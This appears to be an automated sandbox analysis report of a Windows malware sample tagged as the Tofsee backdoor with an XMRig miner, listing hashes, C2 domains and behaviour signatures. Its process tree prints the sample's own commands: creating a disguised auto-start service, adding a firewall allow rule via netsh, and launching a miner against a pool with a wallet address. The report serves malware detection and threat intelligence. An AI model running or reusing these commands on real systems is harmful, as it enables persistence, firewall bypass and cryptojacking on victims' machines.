Analysis

  • max time kernel
    144s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7-20231020-en
  • resource tags

    arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
  • submitted
    19/11/2023, 23:08

General

  • Target

    file.exe

  • Size

    269KB

  • MD5

    64d9eaeaa490b8129014dda174fecdd4

  • SHA1

    eb80c0e3a20600527bbe405f008d998de58e45b8

  • SHA256

    ca63ebea3ecd1099004b38c13cd7617ea556d18dadd749102b6e837cff9ebf0e

  • SHA512

    a53e24f8fcecff6668d43a55e277187d193a940f7c7274fa5263712d475e96399a484ca4148701379df33177efc2eeb9b5ea9f20d47ec67458ef7575f5f2d3ec

  • SSDEEP

    3072:dNsekaqWDp1O92TAAm7qMtUi22rRzAevI1M3KkfyBswJchRW0r7ovbeBV:wDa3LOI3i22Vzhf3Vq0PM

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 6 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:852
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\otbevgkg\
      2⤵
        PID:2580
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\zplavnlt.exe" C:\Windows\SysWOW64\otbevgkg\
        2⤵
          PID:2976
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create otbevgkg binPath= "C:\Windows\SysWOW64\otbevgkg\zplavnlt.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:472
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description otbevgkg "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1452
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start otbevgkg
          2⤵
          • Launches sc.exe
          PID:2356
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2788
      • C:\Windows\SysWOW64\otbevgkg\zplavnlt.exe
        C:\Windows\SysWOW64\otbevgkg\zplavnlt.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3068
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2812
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2524

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\zplavnlt.exe

              Filesize

              13.1MB

              MD5

              289bc9b46604a5e7c31cedd2d81b773f

              SHA1

              c60a9a7837f8259bd7bbe77a51d5dddad75a8c9c

              SHA256

              17ed3e4ff1ac05841e175136e5fefa5ad6f0b0e71a91052afb2fe73b702c4b10

              SHA512

              b7f7751337a637a43a7c93a66ca6cf4f4a8ea1bdba92405cc34b6b1ee741da6f6c8c94a046143e72c97cc66bb41b0241af4478bd41b4307a742f102cc1544ad2

            • C:\Windows\SysWOW64\otbevgkg\zplavnlt.exe

              Filesize

              13.1MB

              MD5

              289bc9b46604a5e7c31cedd2d81b773f

              SHA1

              c60a9a7837f8259bd7bbe77a51d5dddad75a8c9c

              SHA256

              17ed3e4ff1ac05841e175136e5fefa5ad6f0b0e71a91052afb2fe73b702c4b10

              SHA512

              b7f7751337a637a43a7c93a66ca6cf4f4a8ea1bdba92405cc34b6b1ee741da6f6c8c94a046143e72c97cc66bb41b0241af4478bd41b4307a742f102cc1544ad2

            • memory/852-1-0x0000000000290000-0x0000000000390000-memory.dmp

              Filesize

              1024KB

            • memory/852-3-0x0000000000260000-0x0000000000273000-memory.dmp

              Filesize

              76KB

            • memory/852-4-0x0000000000400000-0x00000000004F7000-memory.dmp

              Filesize

              988KB

            • memory/852-6-0x0000000000400000-0x00000000004F7000-memory.dmp

              Filesize

              988KB

            • memory/2524-77-0x0000000000200000-0x00000000002F1000-memory.dmp

              Filesize

              964KB

            • memory/2524-76-0x0000000000200000-0x00000000002F1000-memory.dmp

              Filesize

              964KB

            • memory/2524-75-0x0000000000200000-0x00000000002F1000-memory.dmp

              Filesize

              964KB

            • memory/2524-73-0x0000000000200000-0x00000000002F1000-memory.dmp

              Filesize

              964KB

            • memory/2524-74-0x0000000000200000-0x00000000002F1000-memory.dmp

              Filesize

              964KB

            • memory/2524-65-0x0000000000200000-0x00000000002F1000-memory.dmp

              Filesize

              964KB

            • memory/2524-63-0x0000000000200000-0x00000000002F1000-memory.dmp

              Filesize

              964KB

            • memory/2812-50-0x0000000000130000-0x0000000000135000-memory.dmp

              Filesize

              20KB

            • memory/2812-44-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2812-23-0x0000000001A60000-0x0000000001C6F000-memory.dmp

              Filesize

              2.1MB

            • memory/2812-26-0x0000000001A60000-0x0000000001C6F000-memory.dmp

              Filesize

              2.1MB

            • memory/2812-27-0x0000000000110000-0x0000000000116000-memory.dmp

              Filesize

              24KB

            • memory/2812-30-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2812-33-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2812-34-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2812-35-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2812-36-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2812-37-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2812-38-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2812-39-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2812-40-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2812-41-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2812-42-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2812-43-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2812-21-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2812-45-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2812-46-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2812-47-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2812-48-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2812-49-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2812-20-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2812-53-0x0000000000130000-0x0000000000135000-memory.dmp

              Filesize

              20KB

            • memory/2812-54-0x0000000005470000-0x000000000587B000-memory.dmp

              Filesize

              4.0MB

            • memory/2812-57-0x0000000005470000-0x000000000587B000-memory.dmp

              Filesize

              4.0MB

            • memory/2812-58-0x0000000000200000-0x0000000000207000-memory.dmp

              Filesize

              28KB

            • memory/2812-62-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2812-12-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/2812-15-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2812-11-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/3068-14-0x0000000000400000-0x00000000004F7000-memory.dmp

              Filesize

              988KB

            • memory/3068-16-0x0000000000400000-0x00000000004F7000-memory.dmp

              Filesize

              988KB

            • memory/3068-10-0x0000000000400000-0x00000000004F7000-memory.dmp

              Filesize

              988KB

            • memory/3068-9-0x00000000005D0000-0x00000000006D0000-memory.dmp

              Filesize

              1024KB